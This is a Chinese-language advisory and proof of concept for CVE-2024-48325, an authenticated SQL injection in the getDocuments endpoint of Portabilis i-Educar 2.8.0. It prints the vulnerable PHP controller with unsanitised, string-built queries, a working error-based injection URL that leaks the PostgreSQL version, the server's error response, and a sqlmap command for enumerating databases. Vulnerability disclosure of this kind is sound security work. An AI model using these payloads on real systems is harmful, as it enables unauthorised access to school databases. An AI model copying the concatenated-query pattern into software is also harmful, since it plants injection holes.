CVE-2024-48325

描述： 已认证用户可利用 InstituicaoDocumentacaoController 类的 getDocuments 函数中存在的 SQL 注入漏洞。/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id 中的 instituicao_id 参数未正确过滤，允许已认证的远程攻击者注入恶意 SQL 命令。

版本： 发现于 Portabilis i-Educar 2.8.0。

概念验证

漏洞详情

该问题存在于 InstituicaoDocumentacaoController 类的 getDocuments 函数中，可通过以下端点触发：

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

漏洞发生方式

instituicao_id 参数直接在 SQL 查询中使用，未进行适当过滤或参数化。这使得攻击者可以发送恶意 HTTP 请求来注入 SQL 命令，从而可能未经授权访问数据库或操纵数据。

• 触发漏洞的示例端点： /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
• 示例利用： /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

服务器响应：

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

自动化利用

• 该漏洞也可通过 SQLMap 等自动化工具利用，从而实现数据库枚举： sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap